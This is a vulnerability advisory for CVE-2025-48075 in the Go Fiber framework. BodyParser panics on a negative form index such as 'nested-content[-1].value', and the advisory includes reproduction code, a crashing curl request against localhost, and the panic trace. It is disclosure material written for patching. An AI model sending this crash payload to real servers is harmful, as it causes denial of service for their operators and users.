CVE-2025-48075 – github.com/gofiber/fiber/v2

Package

Manager: go
Name: github.com/gofiber/fiber/v2
Vulnerable Version: >=2.52.6 <2.52.7

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N/E:U/RL:O/RC:C

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P

EPSS: 0.00081 pctl0.24538

Details

Fiber panics when fiber.Ctx.BodyParser parses invalid range index ### Summary When using the `fiber.Ctx.BodyParser` to parse into a struct with range values, a panic occurs when trying to parse a negative range index ### Details `fiber.Ctx.BodyParser` can map flat data to nested slices using `key[idx]value` syntax, however when idx is negative, it causes a panic instead of returning an error stating it cannot process the data. Since this data is user-provided, this could lead to denial of service for anyone relying on this `fiber.Ctx.BodyParser` functionality ### Reproducing Take a simple GoFiberV2 server which returns a JSON encoded version of the FormData ```go package main import ( "encoding/json" "fmt" "net/http" "github.com/gofiber/fiber/v2" ) type RequestBody struct { NestedContent []*struct { Value string `form:"value"` } `form:"nested-content"` } func main() { app := fiber.New() app.Post("/", func(c *fiber.Ctx) error { formData := RequestBody{} if err := c.BodyParser(&formData); err != nil { fmt.Println(err) return c.SendStatus(http.StatusUnprocessableEntity) } c.Set("Content-Type", "application/json") s, _ := json.Marshal(formData) return c.SendString(string(s)) }) fmt.Println(app.Listen(":3000")) } ``` **Correct Behaviour** Send a valid request such as: ```bash curl --location 'localhost:3000' \ --form 'nested-content[0].value="Foo"' \ --form 'nested-content[1].value="Bar"' ``` You recieve valid JSON ```json {"NestedContent":[{"Value":"Foo"},{"Value":"Bar"}]} ``` **Crashing behaviour** Send an invalid request such as: ```bash curl --location 'localhost:3000' \ --form 'nested-content[-1].value="Foo"' ``` The server panics and crashes ``` panic: reflect: slice index out of range goroutine 8 [running]: reflect.Value.Index({0x738000?, 0xc000010858?, 0x0?}, 0x738000?) /usr/lib/go-1.24/src/reflect/value.go:1418 +0x167 github.com/gofiber/fiber/v2/internal/schema.(*Decoder).decode(0xc00002c570, {0x75d420?, 0xc000010858?, 0x7ff424822108?}, {0xc00001c498, 0x17}, {0xc00014e2d0, 0x2, 0x2}, {0xc00002c710, ...}) [...] ``` ### Impact Anyone using `fiber.Ctx.BodyParser` can/will have their servers crashed when an invalid payload is sent

Metadata

Created: 2025-05-22T20:08:31Z
Modified: 2025-05-28T19:46:57Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/05/GHSA-hg3g-gphw-5hhm/GHSA-hg3g-gphw-5hhm.json
CWE IDs: ["CWE-129"]
Alternative ID: GHSA-hg3g-gphw-5hhm
Finding: F184
Auto approve: 1